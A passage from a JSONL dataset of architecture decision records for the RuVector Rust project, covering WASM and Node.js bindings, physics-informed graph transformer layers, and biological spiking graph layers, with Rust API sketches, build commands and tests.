sparsification | Yes | Yes | Yes |\n| Hierarchical coarsening | Yes | No (1) | Yes |\n| Memory-mapped processing | Yes | No (2) | Yes |\n| VerifiedTrainer | Yes | No (3) | Yes |\n| Robustness certification | Yes | No (3) | Yes |\n| EWC continual learning | Yes | No (3) | Yes |\n| Coherence (spectral) | Yes | No (4) | Yes |\n| Coherence (basic) | Yes | Yes | Yes |\n\nNotes:\n1. Hierarchical coarsening uses `rayon` parallelism, unavailable in WASM\n2. `mmap` is not available in WASM environments\n3. Training is server-side only (see rationale above)\n4. Spectral coherence uses `ndarray` with heavy numerics; excluded for size\n\n### Build Pipeline\n\n**WASM**:\n```bash\ncd crates/ruvector-graph-transformer-wasm\nwasm-pack build --target web --release --out-dir ../../pkg/graph-transformer-wasm\n# Verify size\nls -la ../../pkg/graph-transformer-wasm/*.wasm\n```\n\n**Node.js**:\n```bash\ncd crates/ruvector-graph-transformer-node\n# NAPI-RS build for current platform\nnpx napi build --release --platform\n# Cross-compile for CI (linux-x64-gnu, darwin-arm64, win32-x64-msvc)\nnpx napi build --release --target x86_64-unknown-linux-gnu\nnpx napi build --release --target aarch64-apple-darwin\nnpx napi build --release --target x86_64-pc-windows-msvc\n```\n\n### Testing Strategy\n\n**WASM** (`wasm-bindgen-test`):\n```rust\n#[cfg(test)]\nmod tests {\n use wasm_bindgen_test::*;\n wasm_bindgen_test_configure!(run_in_browser);\n\n #[wasm_bindgen_test]\n fn test_graph_transformer_roundtrip() {\n let config = r#\"{\"proofGated\": true, \"attentionMechanism\": \"ppr\"}\"#;\n let gt = WasmGraphTransformer::new(config).unwrap();\n assert!(gt.coherence().is_ok());\n }\n\n #[wasm_bindgen_test]\n fn test_proof_chain_returns_uint8arrays() {\n // Verify attestation chain serialization\n }\n}\n```\n\n**Node.js** (via `jest` or `vitest`):\n```javascript\nimport { GraphTransformer, VerifiedTrainer } from '@ruvector/graph-transformer-node';\n\ntest('forward pass returns proof-gated output', () => {\n const gt = new GraphTransformer('{\"proofGated\": true, \"attentionMechanism\": \"ppr\"}');\n const result = gt.forward(batchJson);\n expect(result.satisfied).toBe(true);\n expect(result.attestationHex).toHaveLength(164); // 82 bytes = 164 hex chars\n});\n\ntest('verified training produces certificate', () => {\n const trainer = new VerifiedTrainer(configJson);\n for (let i = 0; i < 10; i++) {\n trainer.step(loss, gradientsJson);\n }\n const cert = trainer.seal();\n expect(cert.totalSteps).toBe(10);\n expect(cert.violations).toBe(0);\n});\n```\n\n### npm Package Names\n\n- WASM: `@ruvector/graph-transformer-wasm`\n- Node.js: `@ruvector/graph-transformer-node`\n\nBoth published under the `ruvnet` npm account (already authenticated per `CLAUDE.md`).\n\n## Consequences\n\n### Positive\n\n- TypeScript/JavaScript developers get proof-gated graph transformers with zero Rust toolchain requirement\n- WASM < 300 KB enables browser-side inference with proof verification\n- Node.js bindings get full feature parity including verified training\n- Consistent binding patterns with existing `-wasm` and `-node` crates reduce maintenance burden\n- TypeScript types provide compile-time safety for JS consumers\n\n### Negative\n\n- WASM lacks training, hierarchical coarsening, and spectral coherence -- feature gap may confuse users\n- Two binding crates double the CI build matrix\n- NAPI-RS cross-compilation requires platform-specific CI runners (or cross-rs)\n- Serialization overhead (JSON for config, `Uint8Array` for attestations) adds latency compared to native Rust\n\n### Risks\n\n- WASM size may exceed 300 KB if `ruvector-solver` brings in unexpected transitive dependencies. Mitigated by `default-features = false` and `wasm-pack --release` size verification in CI\n- NAPI-RS version 2.16 may introduce breaking changes in minor releases. Mitigated by pinning to workspace version\n- Browser `WebAssembly.Memory` limits (4 GB on 64-bit, 2 GB on 32-bit) may be hit for large graphs. Mitigated by streaming processing and the `certify_complexity` API that rejects oversized graphs before execution\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer-wasm/` following the structure above\n2. Create `crates/ruvector-graph-transformer-node/` following the structure above\n3. Add both to `[workspace.members]` in root `Cargo.toml`\n4. Implement Tier 1 (core) bindings first, test with `wasm-bindgen-test` and Node.js\n5. Implement Tier 2 (attention) bindings\n6. Implement Tier 3 (training) in Node.js only\n7. CI: add `wasm-pack build` and `napi build` to GitHub Actions workflow\n8. Publish to npm: `@ruvector/graph-transformer-wasm` and `@ruvector/graph-transformer-node`\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, feature flags)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, `ProofAttestation` serialization)\n- ADR-048: Sublinear Graph Attention (attention API surface)\n- ADR-049: Verified Training Pipeline (`VerifiedTrainer`, `TrainingCertificate`)\n- `crates/ruvector-gnn-wasm/Cargo.toml`: WASM binding pattern (opt-level \"z\", panic \"abort\")\n- `crates/ruvector-gnn-node/Cargo.toml`: NAPI-RS binding pattern (napi-build, cdylib)\n- `crates/ruvector-verified-wasm/Cargo.toml`: Verified WASM binding pattern (serde-wasm-bindgen)\n- `crates/ruvector-graph-wasm/Cargo.toml`: Graph WASM binding pattern\n- Workspace `Cargo.toml`: `wasm-bindgen = \"0.2\"`, `napi = { version = \"2.16\" }`, `napi-derive = \"2.16\"`", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-050-graph-transformer-bindings.md", "created_at": "2026-03-28T11:58:49.613950+00:00", "content_hash": "3f911bffeb0c97989a4f8ca334c620f7ecd289aa40dcee95c5581ca3ccb238e4"} +{"id": "fbab6ce8-37ed-4faa-a73b-5ee826fae96f", "source": "adr", "text": "# ADR-051: Physics-Informed Graph Transformer Layers\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nMany real-world graphs -- molecular dynamics simulations, particle physics detectors, protein interaction networks, climate meshes -- obey physical conservation laws, symmetries, and variational principles. Standard graph transformers learn representations from data alone, ignoring these inductive biases. This wastes training data (100x more samples required to implicitly learn energy conservation) and produces physically inconsistent predictions that diverge after a few integration steps.\n\nRuVector already provides the building blocks for physics-informed graph transformers across several crates:\n\n- `ruvector-mincut-gated-transformer/src/energy_gate.rs`: `EnergyGate`, `EnergyGateConfig` for energy-based gating decisions\n- `ruvector-attention/src/sheaf/restriction.rs`: `RestrictionMap` for parallel transport (gauge connections on graph fiber bundles)\n- `ruvector-attention/src/sheaf/attention.rs`: `SheafAttention`, `SheafAttentionConfig` for sheaf cohomology attention\n- `ruvector-attention/src/transport/sliced_wasserstein.rs`: `SlicedWassersteinAttention` for optimal transport on graphs\n- `ruvector-attention/src/pde_attention/diffusion.rs`: `DiffusionAttention` for heat/diffusion equation on graphs\n- `ruvector-attention/src/pde_attention/laplacian.rs`: graph Laplacian operators for PDE discretization\n- `ruvector-attention/src/curvature/fused_attention.rs`: `MixedCurvatureFusedAttention` for Ricci flow\n- `ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`, `verify_tiered` for proof-gated verification\n\nHowever, there is no unified module that composes these into physics-informed graph transformer layers with formally verified conservation laws. The research document `docs/research/gnn-v2/22-physics-informed-graph-transformers.md` outlines the theoretical framework but defines no implementation path through the existing crates.\n\n## Decision\n\nWe will implement a `physics` module in `ruvector-graph-transformer` behind the `physics` feature flag. The module provides three layer types -- `HamiltonianGraphNet`, `LagrangianAttention`, and `GaugeEquivariantMP` -- each integrated with the proof-gated mutation protocol (ADR-047) to certify conservation laws per forward step.\n\n### HamiltonianGraphNet\n\nSymplectic leapfrog integration that PROVES energy is conserved, not just checks post-hoc:\n\n```rust\n/// Hamiltonian graph network with symplectic integration.\n///\n/// Each forward step produces a ProofGate whose\n/// proof requirement is energy conservation within tolerance.\npub struct HamiltonianGraphNet {\n /// Learned kinetic energy: T(p) via MLP.\n kinetic_net: MLP,\n /// Learned potential energy: V(q) + sum_{(i,j)} U(q_i, q_j).\n potential_net: GraphAttentionPotential,\n /// Integration timestep (fixed or learned).\n dt: f32,\n /// Leapfrog steps per layer.\n num_steps: usize,\n /// Energy tolerance for proof gate (relative |dE/E|).\n energy_tolerance: f64,\n /// Bridges to ruvector-mincut-gated-transformer::energy_gate.\n energy_gate: EnergyGateConfig,\n}\n\nimpl HamiltonianGraphNet {\n /// Symplectic forward pass with energy conservation proof.\n ///\n /// Executes Stormer-Verlet leapfrog integration on the graph.\n /// After integration, computes |H_final - H_initial| / |H_initial|\n /// and routes through ProofTier::Reflex (< 10 ns) since this is\n /// a scalar comparison. If drift exceeds tolerance, escalates to\n /// ProofTier::Standard for diagnosis.\n pub fn forward(\n &self,\n positions: &mut [f32], // [n x d] node positions (q)\n momenta: &mut [f32], // [n x d] node momenta (p)\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Compute Hamiltonian H(q, p) = T(p) + V(q) + sum U(q_i, q_j).\n pub fn hamiltonian(\n &self,\n positions: &[f32],\n momenta: &[f32],\n graph: &impl GraphRepr,\n ) -> f32;\n}\n```\n\nThe proof requirement for each step is:\n\n```rust\nProofRequirement::InvariantPreserved {\n invariant_id: ENERGY_CONSERVATION_INVARIANT,\n}\n```\n\nThis maps to `ProofKind::DimensionEquality` (scalar comparison of energy values) and routes to `ProofTier::Reflex` in steady state, keeping overhead below 10 ns per step.\n\n### GaugeEquivariantMP\n\nUses sheaf restriction maps as gauge connections:\n\n```rust\n/// Gauge-equivariant message passing using sheaf attention.\n///\n/// Restriction maps from ruvector-attention::sheaf serve as connection\n/// forms (parallel transport operators) on the graph fiber bundle.\n/// Attention weights are invariant under gauge transformations g_i at\n/// each node because keys are parallel-transported to the query frame\n/// before the dot product: alpha_{ij} = softmax(q_i^T A_{ij} k_j).\npub struct GaugeEquivariantMP {\n /// Sheaf attention (restriction maps = gauge connections).\n sheaf_attention: SheafAttention,\n /// Gauge group dimension.\n gauge_dim: usize,\n /// Yang-Mills regularization strength.\n ym_lambda: f32,\n /// Proof requirement: gauge invariance check.\n gauge_proof: ProofRequirement,\n}\n\nimpl GaugeEquivariantMP {\n /// Gauge-invariant attention forward pass.\n ///\n /// Parallel-transports keys via RestrictionMap before dot product.\n /// Computes Yang-Mills action as regularization loss.\n pub fn forward(\n &self,\n queries: &[f32],\n keys: &[f32],\n values: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Yang-Mills action: S_YM = sum_{plaquettes} ||F_{ijk}||^2.\n /// Measures curvature (field strength) of the gauge connection.\n pub fn yang_mills_action(&self, graph: &impl GraphRepr) -> f32;\n}\n```\n\n### LagrangianAttention\n\nAction-minimizing message passing via optimal transport:\n\n```rust\n/// Lagrangian attention using action-weighted optimal transport.\n///\n/// The attention weight between nodes i and j is proportional to\n/// exp(-beta * W_2(mu_i, mu_j)), where W_2 is Wasserstein-2 distance.\n/// This is the information-geometric dual of kinetic energy in\n/// Wasserstein space: L = (1/2) ||d mu/dt||^2_{W_2}.\n///\n/// Delegates to ruvector-attention::transport::SlicedWassersteinAttention\n/// for the transport computation and wraps in proof gate for\n/// action bound verification.\npub struct LagrangianAttention {\n /// Sliced Wasserstein transport from ruvector-attention.\n transport: SlicedWassersteinAttention,\n /// Inverse temperature for action weighting.\n beta: f32,\n /// Variational integrator timestep.\n dt: f32,\n /// Action bound proof requirement.\n action_proof: ProofRequirement,\n}\n\nimpl LagrangianAttention {\n /// Variational forward pass.\n ///\n /// Computes discrete Euler-Lagrange equations on the graph.\n /// Action bound is verified via ProofTier::Standard (bounded\n /// fuel for action functional evaluation).\n pub fn forward(\n &self,\n q_prev: &[f32],\n q_curr: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### PDE Attention Integration\n\nThe existing `ruvector-attention/src/pde_attention/diffusion.rs` provides diffusion on graphs. The `physics` module wraps this with conservation proofs:\n\n```rust\n/// PDE attention with mass conservation proof.\n///\n/// Bridges to ruvector_attention::pde_attention::DiffusionAttention.\n/// After each diffusion step, proves total mass is conserved:\n/// sum_i h_i(t+dt) == sum_i h_i(t) within tolerance.\npub struct ConservativePdeAttention {\n diffusion: DiffusionAttention,\n mass_tolerance: f64,\n}\n```\n\n### Feature Flag\n\n```toml\n# In crates/ruvector-graph-transformer/Cargo.toml\n[features]\nphysics = [\n \"ruvector-mincut-gated-transformer/energy_gate\",\n \"ruvector-attention/pde_attention\",\n \"ruvector-attention/sheaf\",\n \"ruvector-attention/transport\",\n]\n```\n\n## Consequences\n\n### Positive\n\n- Energy conservation is guaranteed by construction via symplectic integration and formally verified per step\n- Gauge invariance from sheaf attention ensures predictions are coordinate-independent\n- PDE attention with mass conservation proof prevents unphysical feature drift\n- Physics priors reduce required training data by encoding known laws, with estimated 100x improvement for molecular dynamics tasks\n- All layers compose with the proof-gated mutation protocol (ADR-047), producing auditable attestation chains\n\n### Negative\n\n- Leapfrog integration adds O(num_steps) overhead per layer compared to a standard residual connection\n- Yang-Mills regularization requires computing holonomies around plaquettes (small graph cycles), which is O(triangles) per forward pass\n- `LagrangianAttention` requires Newton iteration to solve the implicit discrete Euler-Lagrange equation (5 iterations by default)\n- Users must supply phase-space representations (q, p) rather than generic node features\n\n### Risks\n\n- If energy tolerance is set too tight, Reflex-tier proofs will fail and escalate to Standard/Deep, exceeding the 2% overhead budget (ADR-047). Mitigation: default tolerance of 1e-4 relative drift, which is achievable with double-precision leapfrog\n- Sheaf restriction maps as gauge connections assume orthogonal gauge group. Extending to non-abelian groups (SU(2), SU(3)) requires operator ordering care and is deferred to a follow-up ADR\n- Noether symmetry mining (automatic conservation law discovery) is not included in this ADR due to training cost; it is an extension for ADR-049's verified training pipeline\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer/src/physics/mod.rs` re-exporting all layer types\n2. Implement `HamiltonianGraphNet` in `physics/hamiltonian.rs`, bridging to `ruvector-mincut-gated-transformer::energy_gate`\n3. Implement `GaugeEquivariantMP` in `physics/gauge.rs`, bridging to `ruvector-attention::sheaf::{SheafAttention, RestrictionMap}`\n4. Implement `LagrangianAttention` in `physics/lagrangian.rs`, bridging to `ruvector-attention::transport::SlicedWassersteinAttention`\n5. Implement `ConservativePdeAttention` in `physics/pde.rs`, bridging to `ruvector-attention::pde_attention::DiffusionAttention`\n6. Add benchmark: `benches/physics_bench.rs` measuring energy drift over 10,000 leapfrog steps on a 1,000-node molecular graph\n7. Integration test: compose `HamiltonianGraphNet` + `GaugeEquivariantMP` in a full forward pass, verify attestation chain integrity\n8. Verify build: `cargo test --features physics -p ruvector-graph-transformer`\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, `AttentionRegistry`)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, `ProofRequirement`, three-tier routing)\n- ADR-049: Verified Training Pipeline (conservation law invariants during training)\n- Research: `docs/research/gnn-v2/22-physics-informed-graph-transformers.md`\n- `crates/ruvector-mincut-gated-transformer/src/energy_gate.rs`: `EnergyGate`, `EnergyGateConfig`\n- `crates/ruvector-attention/src/sheaf/restriction.rs`: `RestrictionMap`\n- `crates/ruvector-attention/src/sheaf/attention.rs`: `SheafAttention`, `SheafAttentionConfig`\n- `crates/ruvector-attention/src/transport/sliced_wasserstein.rs`: `SlicedWassersteinAttention`\n- `crates/ruvector-attention/src/pde_attention/diffusion.rs`: `DiffusionAttention`\n- `crates/ruvector-attention/src/pde_attention/laplacian.rs`: graph Laplacian\n- `crates/ruvector-attention/src/curvature/fused_attention.rs`: `MixedCurvatureFusedAttention`\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`, `verify_tiered`\n- `crates/ruvector-verified/src/proof_store.rs`: `ProofAttestation`, 82-byte witnesses\n- Greydanus et al., \"Hamiltonian Neural Networks\" (arXiv:1906.01563, 2019)\n- Cranmer et al., \"Lagrangian Neural Networks\" (arXiv:2003.04630, 2020)\n- Cohen et al., \"Gauge Equivariant Convolutional Networks\" (arXiv:1902.04615, 2019)\n- Hansen & Gebhart, \"Sheaf Neural Networks\" (arXiv:2012.06333, 2020)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-051-physics-informed-graph-layers.md", "created_at": "2026-03-28T11:58:49.614059+00:00", "content_hash": "f25330703c4c6138f8194e491969b2fb0f8350785f1af127f45d1580881e9e57"} +{"id": "d39eb4ca-81d1-455d-81b9-5495dd2dfac2", "source": "adr", "text": "# ADR-052: Biological Graph Transformer Layers\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nBiological neural networks process graph-structured information at 20 watts while consuming 86 billion neurons and 100 trillion synapses. Artificial graph transformers processing comparable graphs require megawatts. This disparity stems from three computational principles that artificial graph transformers have not adopted: event-driven sparsity (99%+ of compute is skipped when neurons are below threshold), local learning rules (synaptic updates require only pre/post-synaptic activity, no global backpropagation), and temporal coding (precise spike timing carries information beyond firing rates).\n\nRuVector already implements the core biological primitives across several crates:\n\n- `ruvector-mincut-gated-transformer/src/attention/spike_driven.rs`: `SpikeDrivenAttention` with multiplication-free attention via spike coincidence detection\n- `ruvector-mincut-gated-transformer/src/spike.rs`: `SpikeScheduler` with rate-based tier selection and novelty gating\n- `ruvector-nervous-system/src/dendrite/compartment.rs`: multi-compartment dendritic models\n- `ruvector-nervous-system/src/dendrite/coincidence.rs`: dendritic coincidence detection\n- `ruvector-nervous-system/src/dendrite/plateau.rs`: plateau potential generation for BTSP\n- `ruvector-nervous-system/src/plasticity/btsp.rs`: Behavioral Timescale Synaptic Plasticity\n- `ruvector-nervous-system/src/plasticity/eprop.rs`: e-prop eligibility trace learning\n- `ruvector-nervous-system/src/plasticity/consolidate.rs`: synaptic consolidation\n- `ruvector-nervous-system/src/hopfield/network.rs`: modern Hopfield network as associative memory\n- `ruvector-gnn/src/ewc.rs`: `ElasticWeightConsolidation` for continual learning\n- `ruvector-gnn/src/replay.rs`: `ReplayBuffer` for experience replay\n\nHowever, there is no composition layer that integrates these primitives into graph transformer layers with proof-gated stability guarantees. The research at `docs/research/gnn-v2/23-biological-graph-transformers.md` describes the theoretical roadmap but does not map onto existing crate APIs or the proof-gated mutation protocol.\n\n## Decision\n\nWe will implement a `biological` module in `ruvector-graph-transformer` behind the `biological` feature flag. The module provides four layer types: `SpikingGraphAttention`, `HebbianLayer`, `DendriticAttention`, and `StdpEdgeUpdater`, each integrated with proof-gated stability bounds.\n\n### SpikingGraphAttention\n\nComposes spike-driven attention with graph topology:\n\n```rust\n/// Spiking graph attention with edge-constrained spike propagation.\n///\n/// Bridges ruvector-mincut-gated-transformer::attention::spike_driven\n/// with graph adjacency to route spikes only along edges.\n/// Proof gate: membrane potential stability (spectral radius < 1.0).\npub struct SpikingGraphAttention {\n /// Spike-driven attention from ruvector-mincut-gated-transformer.\n spike_attn: SpikeDrivenAttention,\n /// Per-node membrane potentials (LIF model).\n membrane: Vec,\n /// Per-node refractory counters.\n refractory: Vec,\n /// Per-edge synaptic delays (in timesteps).\n edge_delays: Vec,\n /// Membrane decay constant (must be < 1.0 for stability).\n decay: f32,\n /// Spike threshold.\n threshold: f32,\n /// Proof requirement: spectral radius of effective operator < 1.0.\n stability_proof: ProofRequirement,\n /// Inhibition strategy for preventing synchrony collapse.\n inhibition: InhibitionStrategy,\n}\n\n/// The effective operator whose spectral radius is bounded.\n///\n/// The proof does not bound the raw weight matrix. It bounds the\n/// effective operator: A_eff = diag(decay) * (W_adj \u2299 W_attn).\n/// Power iteration estimates rho(A_eff) with variance; the proof\n/// attests to: rho_estimated + safety_margin < 1.0, where\n/// safety_margin = 3 * stddev(rho) over `num_iterations` runs.\n///\n/// ProofClass: Statistical { iterations: num_iterations, tolerance: safety_margin }.\npub struct EffectiveOperator {\n /// Number of power iteration rounds for spectral radius estimation.\n pub num_iterations: usize,\n /// Safety margin above estimated rho (3-sigma conservative).\n pub safety_margin: f32,\n /// Whether to use layerwise bounds (cheaper, tighter for block-diagonal).\n pub layerwise: bool,\n}\n\n/// Inhibition strategy for dense graphs where synchrony is a safety risk.\n///\n/// Inhibitory dynamics are CORE, not optional. Synchrony collapse on\n/// dense graphs (degree > 100) is not a feature regression \u2014 it is a\n/// safety failure. Without inhibition, proof-gated stability (rho < 1.0)\n/// can still permit correlated firing that violates the independence\n/// assumption in the spectral bound.\npub enum InhibitionStrategy {\n /// Winner-take-all: top-k nodes fire, rest are suppressed.\n /// From ruvector-nervous-system::compete::inhibition::WTA.\n WinnerTakeAll { k: usize },\n /// Lateral inhibition: each firing node suppresses neighbors\n /// with strength proportional to edge weight.\n /// From ruvector-nervous-system::compete::inhibition::Lateral.\n Lateral { strength: f32 },\n /// Balanced excitation/inhibition: maintain E/I ratio within bounds.\n /// Dale's law: each node is either excitatory or inhibitory, not both.\n BalancedEI { ei_ratio: f32, dale_law: bool },\n}\n\nimpl SpikingGraphAttention {\n /// Process one timestep of spiking graph attention.\n ///\n /// Spikes propagate only along graph edges with per-edge delays.\n /// LIF membrane dynamics: V(t+1) = decay * V(t) + I_syn(t).\n /// Fires when V > threshold, then resets to 0.\n ///\n /// Proof gate verifies spectral radius of the effective operator\n /// A_eff = diag(decay) * (W_adj \u2299 W_attn) is below 1.0 to\n /// prevent runaway excitation. The bound is conservative:\n /// rho_estimated + 3*sigma < 1.0 (see EffectiveOperator).\n /// Routes to ProofTier::Standard(500) with ProofClass::Statistical.\n /// After step: inhibition is applied (core, not optional).\n pub fn step(\n &mut self,\n input_spikes: &[bool],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Compute current firing rate per node (exponential moving average).\n pub fn firing_rates(&self) -> &[f32];\n}\n```\n\n### HebbianLayer with EWC Protection\n\nLocal learning rules with catastrophic forgetting prevention:\n\n```rust\n/// Hebbian learning layer with Oja/BCM rules.\n///\n/// Weight updates are purely local: delta_w_ij = eta * f(x_i, y_j, w_ij).\n/// Bridges to ruvector-gnn::ewc::ElasticWeightConsolidation to prevent\n/// catastrophic forgetting when the graph evolves.\n///\n/// Proof gate: weight update must not increase Fisher-weighted\n/// distance from consolidated parameters beyond a bound.\n///\n/// Constitutional rule: NO weight update proceeds without consuming\n/// a ProofGate. The update method returns a\n/// ProofGate, and the caller must unlock it to apply the weights.\n/// This is not advisory \u2014 it is a type-level enforcement.\npub struct HebbianLayer {\n /// Learning rule variant.\n rule: HebbianRule,\n /// Learning rate.\n eta: f32,\n /// EWC from ruvector-gnn for consolidation.\n ewc: Option,\n /// Proof requirement: weight stability bound.\n stability_proof: ProofRequirement,\n /// Norm bound specification for EWC distance metric.\n norm_bound: HebbianNormBound,\n}\n\n/// Specifies how the Fisher-weighted norm bound is computed.\n///\n/// The bound ||w_new - w_consolidated||_F < threshold uses the\n/// diagonal Fisher approximation (full Fisher is O(n^2) and\n/// infeasible for large graphs). Layerwise bounds are tighter\n/// than a single global bound because they exploit block-diagonal\n/// structure.\npub struct HebbianNormBound {\n /// Maximum Fisher-weighted distance from consolidated weights.\n pub threshold: f32,\n /// Use diagonal Fisher approximation (always true in practice).\n pub diagonal_fisher: bool,\n /// Compute bounds per-layer rather than globally.\n /// Tighter but slightly more expensive (one norm per layer vs one total).\n pub layerwise: bool,\n /// ProofClass for this bound.\n /// Formal if diagonal Fisher is exact; Statistical if sampled.\n pub proof_class: ProofClass,\n}\n\npub enum HebbianRule {\n /// Oja's rule: delta_w = eta * y * (x - w * y).\n /// Converges to first principal component.\n Oja,\n /// BCM rule: delta_w = eta * y * (y - theta_m) * x.\n /// theta_m is a sliding threshold (metaplasticity).\n BCM { theta_init: f32 },\n /// STDP: delta_w depends on spike timing (pre/post).\n /// Delegates to StdpEdgeUpdater.\n STDP { a_plus: f32, a_minus: f32, tau: f32 },\n}\n\nimpl HebbianLayer {\n /// Apply one Hebbian weight update step.\n ///\n /// When EWC is active, the update is modified:\n /// delta_w_ij = eta * hebb(x_i, y_j) - lambda * F_ij * (w_ij - w*_ij)\n /// where F_ij is the Fisher information and w*_ij are consolidated weights.\n ///\n /// Proof gate: verifies ||w_new - w_consolidated||_F < bound\n /// where ||.||_F is the diagonal Fisher-weighted norm, computed\n /// layerwise when `norm_bound.layerwise` is true.\n ///\n /// Constitutional rule: the returned ProofGate\n /// must be unlocked before weights are committed. There is no\n /// code path that writes weights without a satisfied gate.\n ///\n /// Routes to ProofTier::Standard (norm computation, < 1 us).\n pub fn update(\n &mut self,\n pre_activations: &[f32],\n post_activations: &[f32],\n weights: &mut [f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Consolidate current weights into EWC anchor.\n /// Called at task boundaries during continual learning.\n pub fn consolidate(&mut self, weights: &[f32]);\n}\n```\n\n### DendriticAttention\n\nMulti-compartment dendritic computation as attention:\n\n```rust\n/// Dendritic attention using compartment models.\n///\n/// Each graph node is modeled as a multi-compartment neuron\n/// (from ruvector-nervous-system::dendrite). Different dendritic\n/// branches attend to different subsets of graph neighbors,\n/// enabling multiplicative gating without explicit gating networks.\n///\n/// Bridges to:\n/// - ruvector_nervous_system::dendrite::compartment::Compartment\n/// - ruvector_nervous_system::dendrite::coincidence::CoincidenceDetector\n/// - ruvector_nervous_system::dendrite::plateau::PlateauGenerator\npub struct DendriticAttention {\n /// Number of dendritic branches per node.\n num_branches: usize,\n /// Compartment model parameters.\n compartment_config: CompartmentConfig,\n /// Branch-to-neighbor assignment (learned or heuristic).\n branch_assignment: BranchAssignment,\n /// Plateau potential threshold for nonlinear dendritic events.\n plateau_threshold: f32,\n}\n\npub enum BranchAssignment {\n /// Assign neighbors to branches round-robin by degree.\n RoundRobin,\n /// Cluster neighbors by feature similarity, one branch per cluster.\n FeatureClustered { num_clusters: usize },\n /// Learned assignment via attention routing.\n Learned,\n}\n\nimpl DendriticAttention {\n /// Forward pass: route neighbor messages to dendritic branches,\n /// compute compartment dynamics, trigger plateau potentials.\n ///\n /// The output is the soma (cell body) voltage after dendritic\n /// integration. Plateau potentials provide nonlinear amplification\n /// of coincident inputs on the same branch.\n pub fn forward(\n &self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### StdpEdgeUpdater\n\nSTDP-driven graph rewiring with proof-gated stability:\n\n```rust\n/// STDP edge update with two proof-gated tiers:\n///\n/// 1. **Weight updates** (Standard tier): Causal spike timing\n/// potentiates edges; anti-causal timing depresses edges.\n/// Stability certificate proves rho(A_eff) < 1.0.\n///\n/// 2. **Topology changes** (Deep tier): When edge weight drops\n/// below `prune_threshold`, the edge is removed. When a node\n/// pair has sustained high co-firing rate, a new edge is added.\n/// Topology changes require Deep tier proof because they alter\n/// the graph Laplacian and can invalidate partition boundaries.\n///\n/// Both operations return ProofGate. Topology changes are strictly\n/// more expensive and are batched per epoch, not per timestep.\npub struct StdpEdgeUpdater {\n a_plus: f32,\n a_minus: f32,\n tau_plus: f32,\n tau_minus: f32,\n /// Last spike time per node (for timing computation).\n last_spike: Vec,\n /// Weight bounds [min, max] to prevent degenerate solutions.\n weight_bounds: (f32, f32),\n /// Threshold below which edges are pruned (topology change).\n prune_threshold: f32,\n /// Co-firing threshold above which new edges are created.\n growth_threshold: f32,\n /// Maximum edges that can be added per epoch (budget).\n max_new_edges_per_epoch: usize,\n}\n\nimpl StdpEdgeUpdater {\n /// Update edge weights based on recent spike history.\n /// Weight-only: does not change graph topology.\n ///\n /// Routes to ProofTier::Standard(500).\n /// Returns ProofGate with stability certificate.\n pub fn update_weights(\n &mut self,\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Rewire graph topology based on accumulated STDP statistics.\n /// Prunes weak edges, grows edges between co-firing pairs.\n ///\n /// Routes to ProofTier::Deep because topology changes affect:\n /// - Min-cut partition boundaries (ProofScope invalidation)\n /// - Graph Laplacian eigenvalues (spectral sparsification)\n /// - Attestation chain (ScopeTransitionAttestation required)\n ///\n /// Returns ProofGate with:\n /// - edges_pruned, edges_added counts\n /// - new spectral radius bound\n /// - ScopeTransitionAttestation if partitions changed\n pub fn rewire_topology(\n &mut self,\n graph: &mut impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Proof-Gated Plasticity Protocol\n\nAll weight update mechanisms (Hebbian, STDP, dendritic plateau) are gated through the proof system:\n\n| Update Type | Proof Requirement | Tier | Latency | ProofClass |\n|-------------|------------------|------|---------|------------|\n| Oja/BCM weight step | Fisher-weighted norm bound (diagonal, layerwise) | Standard(200) | < 1 us | Formal (diagonal exact) or Statistical (sampled Fisher) |\n| STDP weight update | rho(A_eff) + 3\u03c3 < 1.0 | Standard(500) | < 5 us | Statistical { iterations, safety_margin } |\n| STDP topology rewire | Laplacian + partition integrity | Deep | < 100 us | Formal (exact edge count) + Statistical (spectral bound) |\n| Plateau potential | Membrane stability bound | Reflex | < 10 ns | Formal |\n| EWC consolidation | Fisher diagonal computation | Deep | < 100 us | Formal |\n| Inhibition enforcement | E/I ratio within bounds | Reflex | < 10 ns | Formal |\n\n### Feature Flag\n\n```toml\n# In crates/ruvector-graph-transformer/Cargo.toml\n[features]\nbiological = [\n \"ruvector-mincut-gated-transformer/spike_attention\",\n \"ruvector-gnn\",\n]\n```\n\nThe `ruvector-nervous-system` dependency is optional and gated behind a sub-feature `biological-dendritic`:\n\n```toml\nbiological-dendritic = [\"biological\", \"ruvector-nervous-system\"]\n```\n\n## Consequences\n\n### Positive\n\n- Event-driven spiking attention skips 99%+ of node computations, enabling significant energy reduction for sparse graph workloads (the exact factor is hardware-dependent: 87x is measured on neuromorphic hardware with native spike support; on von Neumann architectures the reduction is lower due to memory access patterns)\n- Local Hebbian learning eliminates global backpropagation dependency, enabling truly distributed graph learning\n- EWC integration prevents catastrophic forgetting during continual graph learning\n- Dendritic attention provides multiplicative gating without explicit gating parameters\n- Proof-gated stability (spectral radius < 1.0) prevents runaway excitation cascades\n- STDP self-organizes edge weights based on temporal structure, pruning redundant connections\n\n### Negative\n\n- Spiking models require choosing a 